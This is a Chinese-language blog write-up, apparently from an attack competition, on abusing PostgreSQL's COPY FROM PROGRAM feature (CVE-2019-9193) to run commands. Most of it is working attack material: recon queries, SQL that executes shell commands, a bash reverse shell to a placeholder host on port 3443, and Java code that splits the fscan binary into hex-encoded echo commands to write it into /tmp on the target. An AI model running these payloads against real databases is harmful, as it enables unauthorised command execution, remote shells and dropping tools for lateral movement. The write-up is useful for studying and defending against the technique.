postgresql提权
前言:这次比赛有用到,这边进行记录,攻击链路是通过重置密码获取账户,然后通过后台找到查询表的功能,发现存在postgrel的语句查询,通过提权进行命令执行,最后通过写入文件来进行上线然后进行横向,比较尴尬的是一开始以为不出网,后面才知道原来是出网的,要不然直接通过bash来反弹了
参考文章:https://blog.csdn.net/m0_71692682/article/details/126882571
CVE-2019-9193
PostgreSQL 是一款关系型数据库。其9.3到11版本中存在一处“特性”,管理员或具有"COPY TO/FROM PROGRAM"权限的用户,可以使用这个特性执行任意命令。
影响版本:9.3-11
PostgreSQL信息搜集
PostgreSQL获取版本信息语句
select version();
,安装的postgre的版本是PostgreSQL 9.5beta1 on x86_64-pc-linux-gnu, compiled by gcc (Debian 4.9.2-10) 4.9.2, 64-bit
show server_version;
,这边安装的是9.5beta1
select pg_read_file('PG_VERSION', 0, 200);
,这个在老版本中还可以通过绝对路径进行读取
SHOW server_version_num;
,因为我这边装的是postgres:9.5-beta1,所以这边版本号为90500
SELECT current_setting('server_version_num');
,因为我这边装的是postgres:9.5-beta1,所以这边版本号为90500
获取配置信息
下面两个语句都可以用来判断linux还是windows
select setting from pg_settings where name = 'config_file';
select setting from pg_settings where name = 'data_directory';
获取内网IP
select inet_server_addr()
命令执行
drop table if exists cmd_exec;create table cmd_exec(cmd_output text);copy cmd_exec from program 'id';select * from cmd_exec;
如果drop关键字被过滤的话,那么可以直接先创建,后面可以通过truncate table在执行命令之前清除行数据
create table cmd_exec(cmd_output text);copy cmd_exec from program 'id';select * from cmd_exec;
truncate table cmd_exec;copy cmd_exec from program 'id';select * from cmd_exec;
反弹shell
在当前机器出网的情况下,可以通过bash来进行反弹shell,结果如下所示
drop table if exists cmd_exec;create table cmd_exec(cmd_output text);copy cmd_exec from program '/bin/bash -c "/bin/bash -i >& /dev/tcp/xxxxx/3443 0>&1"';
echo命令写二进制文件
在当前机器不出网的情况下,echo命令写二进制文件比较好用,这边来进行写入fscan程序
代码实现如下所示
package com.zpchcbd;
import org.jcp.xml.dsig.internal.dom.Utils;
import org.omg.CORBA.Environment;
import java.io.*;
import java.util.ArrayList;
import java.util.List;
import java.util.logging.Level;
import java.util.logging.Logger;
public class TestMain {
static String file_path = "C:\\Users\\user\\Desktop\\fscan_amd64";
public static void main(String[] args) throws IOException {
char[] chars = "0123456789ABCDEF".toCharArray();
byte[] bs = readFileToByte(file_path);
StringBuilder builder = new StringBuilder();
int bit;
for (int i = 0; i < bs.length; i++) {
builder.append("\\x");
bit = (bs[i] & 0x0f0) >> 4;
builder.append(chars[bit]);
bit = bs[i] & 0x0f;
builder.append(chars[bit]);
}
String file_string = builder.toString();
String write_string = "copy cmd_exec from program '/bin/bash -c ''echo -e -n \"dddddd\" >> /tmp/fscan''';";
StringBuilder tmp_string = new StringBuilder();
int count = 0;
int i = 0;
// FileOutputStream fileOutputStream = new FileOutputStream(new File("result.txt"));
FileWriter fileWriter = new FileWriter("result.txt");
while (i<file_string.length()){
tmp_string.append(file_string, i, i + 4);
if (count % 24264 == 0 && count != 0)
{
fileWriter.write(write_string.replace("dddddd", tmp_string.toString())+"\n");
tmp_string = new StringBuilder();
}
count++;
i += 4;
}
fileWriter.write(write_string.replace("dddddd", tmp_string.toString()));
fileWriter.close();
}
public static byte[] readFileToByte(String filepath) {
BufferedInputStream in;
byte[] bytes = null;
try {
in = new BufferedInputStream(new FileInputStream(filepath));
ByteArrayOutputStream out = new ByteArrayOutputStream(1024);
byte[] temp = new byte[1024];
int size = 0;
while ((size = in.read(temp)) != -1) {
out.write(temp, 0, size);
}
in.close();
bytes = out.toByteArray();
} catch (FileNotFoundException ex) {
Logger.getLogger(Utils.class.getName()).log(Level.SEVERE, null, ex);
} catch (IOException ex) {
Logger.getLogger(Utils.class.getName()).log(Level.SEVERE, null, ex);
}
return bytes;
}
}
将上面生成的字符串复制到数据库窗口中执行即可,这边来进行测试
COPY cmd_exec FROM PROGRAM '/bin/bash -c ''echo -e -n "\x12\x34\x56\x78" >> /tmp/fscan''';
最终结果在postgre服务器中写入执行,结果如下所示